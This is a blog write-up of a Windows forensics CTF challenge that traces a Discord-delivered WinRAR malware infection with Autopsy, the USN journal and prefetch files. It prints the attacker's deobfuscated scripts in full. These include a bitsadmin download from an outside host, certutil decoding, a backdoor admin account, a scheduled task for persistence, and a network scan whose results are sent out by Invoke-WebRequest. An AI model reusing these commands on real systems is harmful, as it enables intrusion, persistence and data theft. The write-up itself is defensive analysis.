Avatar

Smyler.net

Hacking, software development, networking and everything in between

Gamer

CTF writeup: 0xL4ugh CTF 2024

2024/02/11

On the 9th of February 2024 took place the L4ugh CTF, and I had a look at one of their series of DFIR challenges: Gamer.

The scenario was quite simple: someone has downloaded a forbidden application on their work computer, and that led to a compromission. The questions were split into five challenges, and took us on a trip around Windows forensics technics.

Challenge

Challenge 1: Delivery

A first glance at the files

Let's have a look at the challenge's material: a 865MiO 7zip archive which appears to contain the root of a Windows system.

Ark archive manager screenshot

Going through an entire system by hand can be tedious, so we better equip ourselves with some tooling. I went with Autopsy. It is also always easier to work with Windows files in a Windows environment, so let's extract the archive into a Windows 11 VM. We can then create a new case in Autopsy, and add the directory as a Logical Files data source. We don't include any time stamps as we aren't sure what we can trust from the archive and didn't preserve time when extracting anyway.

Adding a new data source in Autopsy

We can enable all ingest modules, except maybe for the Android and iOS ones, and go prepare ourselves a coffee while Autopsy does its magic.

Once done, we can have a look in Web Downloads section for the unauthorized app, and we find the Discord installer in there.

Finding the Discord version in Autospy

That seems to be a good match for an app to play and chat with gamer friends, so let's investigate its files. Since the user is named Administrator, they are stored in C:\Users\Administrator\AppData\Discord, and we can find the version straight away: 1.0.9028.

Finding the Discord version in Autospy

Accessing the Discord cache

Now, it would be great if we could get some data from Discord. One way to do that would be to get access to the entire account, and we have the files, so we can just install Discord on our VM and copy over the discord directory from the challenge. If the session was still valid, we could open Discord and be connected to the account.

Unfortunately for us, that's not the case.

Expired Discord session

It looks like we will have to fall back to reading Discord's cache files. Unfortunately, Autopsy does not have support for Discord, so it did not parse it automatically. There is at least one Autopsy add-on that claims to extract artifacts from Discord, but it did not work. Looking at the code, it doesn't seem to be doing much except trying to parse JSON-encoded Discord messages stored in gziped files. That's far from parsing the Discord cache.

Maybe there is a decent free tool that can parse the Discord cache, but I didn't want to waste more time looking for one and decided to play a quick, dirty trick. Discord is built using Electron, which means is uses Chromium technologies, including its cache system. And Autopsy knows how to parse that cache, but only attempts to do so at a few select locations for Browsers it knows.

So let's trick it. I simply copied the Discord cache from C:\Users\Administrator\AppData\Roaming\discord\Cache to Chrome's in C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache, and ran the recent activity ingest module again (Tools -> Run ingest modules). It has the side effect of duplicating some of our data artifacts, but now Discord's cache entries show up in the Web Cache section, and one of them looks interesting.

Discord cache in Autopsy

Cached messages? Sounds relevant, so let's extract that cache entry (Right-click -> View Cache File in Directory -> Extract Files). The file is not readable straight away. This is because of the cache storing the literal HTTP response and not application data, and we can see from the HTTP headers in Autopsy that it is compressed with Brotli. I was surprised to see that CyberChef did not have support for Brotli, but other services do. I used one from facia.dev.

At this point, we have a messages.json file, and we can read a conversation that goes something like the following (only showing the interesting part):

  1. a1l4m: looks like the new year gonna be a lot of fun
  2. t4r3kk: So, as we are all here
  3. t4r3kk: need a hand here. Steam just went all rogue and trashed my appmanifest file, the one with the name "appmanifest_547896.acf" You feel me? Now, I'm stuck in a no-game zone. Any way you can bail me out?
  4. 4n4n1: What do you mean deleted your file ?
  5. 4n4n1: Can u show me what is this file look like ?
  6. t4r3kk: idk what happened exactly tbh
  7. t4r3kk: lemme show u a sample of it wait
  8. t4r3kk: attachement, appmanifest.rar
  9. t4r3kk: wasn't able to upload the file directly, so i compressed for u
  10. 4n4n1: gonna check it when i get the time
  11. t4r3kk: Appreciate it legend ❤️

One specific message with an attachement stands out (warning: malware ahead):

    {
      "attachments" : [
         {
            "content_scan_version" : 0,
            "content_type" : "application/vnd.rar",
            "filename" : "appmanifest.rar",
            "id" : "1193337330283585647",
            "proxy_url" : "https://media.discordapp.net/attachments/1193319813251080366/1193337330283585647/appmanifest.rar?ex=65ac58fe&is=6599e3fe&hm=b8a7f9403716ae7cb56d2daadfc98fc2fc0cbfeec3c0ef7ffb82faba1aa3c33e&",
            "size" : 2586,
            "url" : "https://cdn.discordapp.com/attachments/1193319813251080366/1193337330283585647/appmanifest.rar?ex=65ac58fe&is=6599e3fe&hm=b8a7f9403716ae7cb56d2daadfc98fc2fc0cbfeec3c0ef7ffb82faba1aa3c33e&"
         }
      ],
      "author" : {
         "accent_color" : null,
         "avatar" : "e8be11c5ad1cac6d3ffc85f6b72a4ace",
         "avatar_decoration_data" : null,
         "banner" : null,
         "banner_color" : null,
         "discriminator" : "0",
         "flags" : 0,
         "global_name" : "dark",
         "id" : "964399437671710790",
         "premium_type" : 0,
         "public_flags" : 0,
         "username" : "t4r3kk"
      },
      "channel_id" : "1193319813251080366",
      "components" : [],
      "content" : "",
      "edited_timestamp" : null,
      "embeds" : [],
      "flags" : 0,
      "id" : "1193337330455560204",
      "mention_everyone" : false,
      "mention_roles" : [],
      "mentions" : [],
      "pinned" : false,
      "timestamp" : "2024-01-06T23:36:30.716000+00:00",
      "tts" : false,
      "type" : 0
   }

It looks like we found our initial malware delivery, so let's investigate our threat actor a bit (t4r3kk). We can use services like discord.id to lookup details about the account from its ID (964399437671710790).

Discord thread actor

Doing a reverse image search on the profile picture takes us to the FBI's website where we get a name for the threat actor: Igor Dekhtyarchuk.

At this point, we can answer the first challenge:

  1. Can you identify the application utilized for the initial access and its version? -> Discord 1.0.9028
  2. What is the attacker's ID and their account creation date? -> 964399437671710790, Fri, 15 Apr 2022 05:39:03 UTC
  3. What is the full real name of the attacker? -> Igor Dekhtyarchuk

And here is the flag: 0xL4ugh{Discord_1.0.9028_964399437671710790_15-04-2022_05:39:03_IgorDekhtyarchuk}

Understanding the exploit

Getting the first stage

At this point, I stopped looking into specific challenge questions to focus on understanding the exploit, and I won't be solving them in order.

Discord attachements basically just work as a CDN, so we can download the appmanifest.rar from the URL in the message (careful, it is malware). It looks weird when opened in both the Windows file explorer and 7zip, as a directory and a file appear to have the exact same name. Copying the file over to a Linux VM, Ark isn't fooled and reveals a .cmd extension.

Fooled Windows explorer Fooled 7zip Not fooled Ark

Trying to read the script, it auto-detects the encoding as UTF-16, which is completely unreadable. I did try a few other encodings which began to reveal a Batch script using substring operations for obfuscation. The encoding that I found to work the best was Windows-1256.

Payload UTF-16

Payload Windows-1256

I also had to extract the file with Ark on Linux, as Windows was apparently unable to do so.

Now, I hate fighting with encodings, and I have no idea how to handle right-to-left languages like Arabic programmatically, so I decided to go the dynamic analysis way for now.

Let's run the script! (Don't do this at home!)

This already gives us some idea of what happened. As you can see in the video, I also had Process Monitor opened to record events, but that did tell much more than what follows in the end:

REM "No worries mate. You just got hacked"
mkdir C:\T3MP
cd C:\T3MP
bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg

Ok, so the script apparently nags us with a batch comment, then creates a directory at C:\T3MP and tries to download a file there. It fails at that point because the address it is trying to download the file from, http://172.16.121.9:8080 is not available (this is a reserved LAN address). Let's make it available then. The idea here is to assign that address to a machine that will be reachable to the VM (that could even be the VM itself). This is pretty specific to your virtualization setup, so I won't go over the details, but this is what I did on a Linux VM, with the right routing setup:

sudo ip a add dev eth0 172.16.121.9/32
mkdir http
cd http
touch ProfilePicture.jpg
python -m http.server 8080

Alright, the VM should now be able to download that empty file. Let's try again after removing that C:\T3MP directory.

We get to see a bit more of the attack:

REM "No worries mate. You just got hacked"
mkdir C:\T3MP
cd C:\T3MP
bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg

certutil -decode ProfilePicture.jpg normal.zip 1>null
echo Get-ChildItem -Path "C:\T3MP" -Filter *.zip | Expand-Archive -DestinationPath "C:\T3MP" -Force 1>C:\T3MP\z.ps1
cmd /c "powershell -NOP -EP Bypass C:\T3MP\z.ps1"
net user admin
IF 2 NEQ 0 (echo LOL, I win ) ELSE (
REM Remove LOL
  net user admin /active:no
  net localgroup administrators admin /del
)
LOL, I win
REM Hack The Planet
net user /add 7amoksha
net user 7amoksha *
net localgroup administrator 7amoksha /add
schtasks /create /sc minute /mo 1 /tn "NothingSpecial" /tr C:\T3MP\run.bat /RL HIGHEST
REM "If I win, you become my slave."
del z.ps1
del ProfilePicture.jpg
del normal.zip
del C:\Windows\system32\Tasks\NothingSpecial

Let's break it down a bit:

  1. The C:\T3MP folder is created and used as the working directory.
  2. Bitsadmin is used to download ProfilePicture.jpg.
  3. certutil is used to decode that file as base64 (a classic LOLBIN technic), in a new normal.zip file.
  4. normal.zip is extracted as z.ps1 PowerShell script
  5. z.ps1 is executed, with no execution policy
  6. The script checks if an admin user exists, and removes it from the administrator group and deactivates it if it does.
  7. It adds an 7amoksha user, sets its password and adds it to the administrators group.
  8. It creates a scheduled task named NothingSpecial to run every minute, executing C:\T3MP\run.bat with the highest privilege level possible.
  9. Cleans-up by removing files

We have enough information to answer the fourth challenge at this point:

Scheduled task name: NothingSpecial Command: C:\T3MP\run.bat

And there is the flag: 0xL4ugh{NothingSpecial_C:\T3MP\run.bat}

Looking for the second stage

Let's see if we can find more information on the second stage: ProfilePicture.jpg. We can look for it in Autopsy.

Searching for the file in Autopsy

The file itself doesn't show up as it was deleted, but its name appears in interesting places:

Let's look at the event log. We can simply export it from Autopsy and open it with the Windows event viewer.

Event viewer

This gives us some insight on the original file and its download location, including its size.

Looking for remaining artifacts

Let's actually have a look at C:\T3MP. It has two files, run.bat and run.ps1.

C:3MP

run.bat is just as obfuscated as the original cmd file, so we will just ignore it for now.

run.ps1 is obfuscated as well, but a lot more manageable.

It decodes a base64 string, decompresses it and executes it. We can copy the base64 string over to CyberChef and decode it.

CyberChef screenshot

$startIP = "192.168.1.1"
$endIP = "192.168.1.17"
$outputFile = "C:\Users\Administrator\AppData\Local\Temp\A52148.txt"

$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]
$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3]

for ($current = $start; $current -le $end; $current++) {
    $currentIP = "$($startIP.Substring(0, $startIP.LastIndexOf('.') + 1))$current"
    $result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue

    if ($result -ne $null) {
        Write-Host "Host $currentIP is online."
        "Host $currentIP is online." | Out-File -Append -FilePath $outputFile
    } else {
        Write-Host "Host $currentIP is offline."
        "Host $currentIP is offline." | Out-File -Append -FilePath $outputFile
    }
}

Write-Host "Scan results saved to $outputFile"
$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Administrator\AppData\Local\Temp\A52148.txt'))
Invoke-WebRequest -Uri "http://172.17.121.9:8080/$var" -Method GET

That scans the network from 192.168.1.1 to 192.168.1.17, saves the result to C:\Users\Administrator\AppData\Local\Temp\A52148.txt and sends it over to http://172.17.121.9:8080.

A52148.txt is still there, so let's have a look:

Host 192.168.1.1 is online.
Host 192.168.1.2 is online.
Host 192.168.1.3 is offline.
Host 192.168.1.4 is online.
Host 192.168.1.5 is offline.
Host 192.168.1.6 is offline.
Host 192.168.1.7 is offline.
Host 192.168.1.8 is offline.
Host 192.168.1.9 is offline.
Host 192.168.1.10 is offline.
Host 192.168.1.11 is offline.
Host 192.168.1.12 is offline.
Host 192.168.1.13 is offline.
Host 192.168.1.14 is offline.
Host 192.168.1.15 is offline.
Host 192.168.1.16 is offline.
Host 192.168.1.17 is offline.
Host 192.168.1.1 is online.
Host 192.168.1.2 is online.
Host 192.168.1.3 is offline.
Host 192.168.1.4 is online.
Host 192.168.1.5 is offline.
Host 192.168.1.6 is offline.
Host 192.168.1.7 is offline.
Host 192.168.1.8 is offline.
Host 192.168.1.9 is offline.
Host 192.168.1.10 is offline.
Host 192.168.1.11 is offline.
Host 192.168.1.12 is offline.
Host 192.168.1.13 is offline.

It repeats itself because of the scheduled task, but three hosts were up: 192.168.1.1, 192.168.1.2 and 192.168.1.4.

All we are missing to answer the fifth challenge now is the backdoor account's creation date, so we might as well check it out. With Autopsy, it's as simple as going to the OS Accounts section.

Autopsy OS accounts

Q1 -The attacker scanned a range of IPs, storing the results in a file for exfiltration. What's the full path of the output file, the count of active hosts, and the IP & Port used for exfiltration?

Q2- The attacker established a new account for persistence. Can you disclose the name of the new account and its creation date, please?

And one more flag: 0xL4ugh{C:\Users\Administrator\AppData\Local\Temp\A52148.txt_6_172.17.121.9:8080_7amoksha_07-01-2024_09:16:20}

Three done, two to go.

Building the event timeline

The USN journal

The USN journal stores records of the changes happening on NTFS file systems. It can be a very precious source of information. It is present in the challenge, but it looks like Autopsy failed to parse it. That's probably because it only supports NTFS disks images to do so, but I might be wrong. Anyway, we will have to rely on another tool. Eric Zimmerman's tools are a goldmine for Windows forensics, and one of them supports parsing the journal: MFTECmd.

.\MftCmd\MFTECmd.exe -f '.\Image\C\$Extend\$J' -m '.\Image\C\$MFT' --csv usn.csv

And we get an exhaustive report of the changes to the file system. Looking for the string T3MP reveals a few interesting entries.

T3MP,,539,3,5,5,.,38960440,2024-01-07 09:15:57.8337716,FileCreate,Directory,30571832,.\Image\C\$Extend\$J
T3MP,,539,3,5,5,.,38960512,2024-01-07 09:15:57.8337716,FileCreate|Close,Directory,30571904,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38961888,2024-01-07 09:15:58.2386777,FileCreate,Archive,30573280,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38961976,2024-01-07 09:15:58.2386777,FileCreate|Close,Archive,30573368,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38962064,2024-01-07 09:15:58.2386777,DataTruncation,Hidden|Archive,30573456,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38962152,2024-01-07 09:15:58.2416817,DataTruncation|Close,Hidden|Archive,30573544,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38968832,2024-01-07 09:16:01.0886221,DataTruncation,Hidden|Archive,30580224,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38968920,2024-01-07 09:16:01.0886221,DataExtend|DataTruncation,Hidden|Archive,30580312,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38975528,2024-01-07 09:16:04.3017884,DataExtend|DataTruncation|Close,Hidden|Archive,30586920,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,546,3,539,3,.\T3MP,38975616,2024-01-07 09:16:04.3017884,FileDelete|Close,Hidden|Archive,30587008,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38975968,2024-01-07 09:16:04.6026951,FileCreate,Hidden|Archive,30587360,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38976056,2024-01-07 09:16:04.6026951,DataExtend|FileCreate,Hidden|Archive,30587448,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981384,2024-01-07 09:16:14.4560934,DataOverwrite|DataExtend|FileCreate,Hidden|Archive,30592776,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981472,2024-01-07 09:16:15.3430587,DataOverwrite|DataExtend|FileCreate|BasicInfoChange,Hidden,30592864,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981632,2024-01-07 09:16:15.3440889,DataOverwrite|DataExtend|FileCreate|BasicInfoChange|Close,Hidden|Archive,30593024,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981720,2024-01-07 09:16:15.3931098,BasicInfoChange,Normal,30593112,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981808,2024-01-07 09:16:15.3931098,BasicInfoChange|Close,Normal,30593200,.\Image\C\$Extend\$J
BITEF47.tmp,.tmp,105697,1,539,3,.\T3MP,38981896,2024-01-07 09:16:15.3931098,RenameOldName,Normal,30593288,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38981984,2024-01-07 09:16:15.3931098,RenameNewName,Normal,30593376,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38982080,2024-01-07 09:16:15.3931098,RenameNewName|Close,Archive,30593472,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982176,2024-01-07 09:16:15.9527538,FileCreate,Archive,30593568,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982256,2024-01-07 09:16:15.9527538,DataExtend|FileCreate,Archive,30593648,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38982336,2024-01-07 09:16:15.9527538,DataExtend|FileCreate|Close,Archive,30593728,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982416,2024-01-07 09:16:15.9667995,FileCreate,Archive,30593808,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982488,2024-01-07 09:16:15.9667995,DataExtend|FileCreate,Archive,30593880,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38982560,2024-01-07 09:16:15.9667995,DataExtend|FileCreate|Close,Archive,30593952,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986568,2024-01-07 09:16:20.0537538,FileCreate,Archive,30597960,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986648,2024-01-07 09:16:20.0917600,DataExtend|FileCreate,Archive,30598040,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986728,2024-01-07 09:16:20.0917600,DataExtend|FileCreate|Close,Archive,30598120,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986808,2024-01-07 09:16:20.0929822,BasicInfoChange,Archive,30598200,.\Image\C\$Extend\$J
run.bat,.bat,105710,3,539,3,.\T3MP,38986888,2024-01-07 09:16:20.0929822,BasicInfoChange|Close,Archive,30598280,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38986968,2024-01-07 09:16:20.1747104,FileCreate,Archive,30598360,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987048,2024-01-07 09:16:20.1747104,DataExtend|FileCreate,Archive,30598440,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987128,2024-01-07 09:16:20.1747104,DataExtend|FileCreate|Close,Archive,30598520,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987208,2024-01-07 09:16:20.1747104,BasicInfoChange,Archive,30598600,.\Image\C\$Extend\$J
run.ps1,.ps1,105711,2,539,3,.\T3MP,38987288,2024-01-07 09:16:20.1747104,BasicInfoChange|Close,Archive,30598680,.\Image\C\$Extend\$J
z.ps1,.ps1,105707,1,539,3,.\T3MP,38991616,2024-01-07 09:16:23.8102308,FileDelete|Close,Archive,30603008,.\Image\C\$Extend\$J
ProfilePicture.jpg,.jpg,105697,1,539,3,.\T3MP,38992024,2024-01-07 09:16:23.8229574,FileDelete|Close,Archive,30603416,.\Image\C\$Extend\$J
normal.zip,.zip,105706,1,539,3,.\T3MP,38992120,2024-01-07 09:16:23.8378425,FileDelete|Close,Archive,30603512,.\Image\C\$Extend\$J

We get some new information:

That would already be enough to answer the two remaining questions. But since I initially disagreed with the challenge author on the details, let's make sure we are right and look at the remaining artifacts before answering the second challenge.

As for the third one, here are the answers:

Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)

Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?

And the flag: 0xL4ugh{http://172.17.121.9:8080/ProfilePicture.jpg_2924_normal.zip_07-01-2024_09:16:23}

Prefetch files

Windows creates prefetch files when a program starts to cache some information and optimize later runs. They can give us some indication as to when programs ran. Luckily for us, Autopsy had no problem parsing them, so we can simply have a look at its timeline window.

Autopsy timeline window

As we are there, we can also notice other interesting events such as Chrome visiting the rar file's download link. We also see that winrar was used to open something just after that, probably the archive.

The CVE

The second challenge asks us what CVE was used. It doesn't appear that the script used any CVE (It ran fine on my fully-patched VM), but maybe one is used to trigger it. The archive looked funky after all. Since we saw indicators that the archive was opened with WinRar, let's look for CVEs affecting it.

We find CVE-2023-38831, which has a dedicated a metasploit module, and the archives in an analysis paper by IBM looks familiar.

Looks like we got it.

Timeline breakdown

Using all the information above, we can construct the following precise timeline of the attack:

Timestamp (UTC) Source Event
2024-01-06 23:36:30.716 Discord cache Malicious attachment is sent
2024-01-07 09:15:29 Chrome history Malicious attachment URL is visited
2024-01-07 09:15:37.3547610 USN journal Chrome starts downloading the attachment
2024-01-07 09:15:37.4779887 USN journal Download is over, file is renamed to appmanifest (1).rar
2024-01-07 09:15:39 Prefetch file OPENWITH.exe starts, a open file with pop-up is shown
2024-01-07 09:15:52 Prefetch file WinRAR opens
2024-01-07 09:15:57 Prefetch file CONHOST.EXE starts, indicating a command window has opened
2024-01-07 09:15:57 Prefetch file CMD.EXE starts, presumably running appmanifest_547896.acf .cmd
2024-01-07 09:15:57.8337716 USN journal C:\T3MP directory is created
2024-01-07 09:15:58.2386777 USN journal, Prefetch file Bitsadmin.exe starts saving ProfilePicture.jpg as BITEF47.tmp
2024-01-07 09:16:15.3931098 USN journal Download is over, BITEF47.tmp is renamed to ProfilePicture.jpg
2024-01-07 09:16:15.9527538 USN journal, Prefetch file Certutil.exe is used to decode normal.zip from ProfilePicture.jpg
2024-01-07 09:16:15.9667995 USN journal z.ps1 is extracted from normal.zip
2024-01-07 09:16:16 Prefetch file z.ps1 is executed
2024-01-07 09:16:20.0537538 USN journal run.bat is created
2024-01-07 09:16:20.1747104 USN journal run.ps1 is created
2024-01-07 09:16:20 Prefetch file net.exe: script checks for user admin
2024-01-07 09:16:20 Prefetch file net1.exe: script creates user 7amoksha
2024-01-07 09:16:23 Prefetch file net.exe: script set password of user 7amoksha
2024-01-07 09:16:23 Prefetch file net1.exe: script adds user 7amoksha to admin group
2024-01-07 09:16:23 Prefetch file schtasks.exe: scheduled task is created
2024-01-07 09:16:23.8102308 USN journal z.ps1 is deleted
2024-01-07 09:16:23.8229574 USN journal ProfilePicture.jpg is deleted
2024-01-07 09:16:23.8378425 USN journal normal.zip is deleted
2024-01-07 09:17:09.6968773 USN journal A52148.txt is created scan begins
2024-01-07 09:17:14.0447484 USN journal A52148.txt is closed, scan is done

So, now we can answer the questions of the second challenge:

Q1 - Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?

Q2 - What is the CVE number that the attacker took advantage of?

Now, I won't give you the flag because I did not get it. Apparently the intended execution time was 09:16:15. There is a prefetch entry for cmd.exe at that time, and it is in the same file as the one that gives 09:15:57, but considering the details of the analysis above, I'm pretty sure 09:15:57 was the right time and there was a mistake in the challenge. My best guess for 09:16:15 is the explicit invocation of cmd.exe by the appmanifest script to run z.ps1 without restrictions: cmd /c "powershell -NOP -EP Bypass C:\T3MP\z.ps1".

Edit: after talking to CTF admins, it appears I was right, there was an error in the flag.

Wrapping up

I'm a bit disappointed for not getting the points of the second challenge, but my team wasn't really playing for points this time anyway and the challenges remained fun. It's not that often that I get to do this type of Windows Forensics in CTFs.

More articles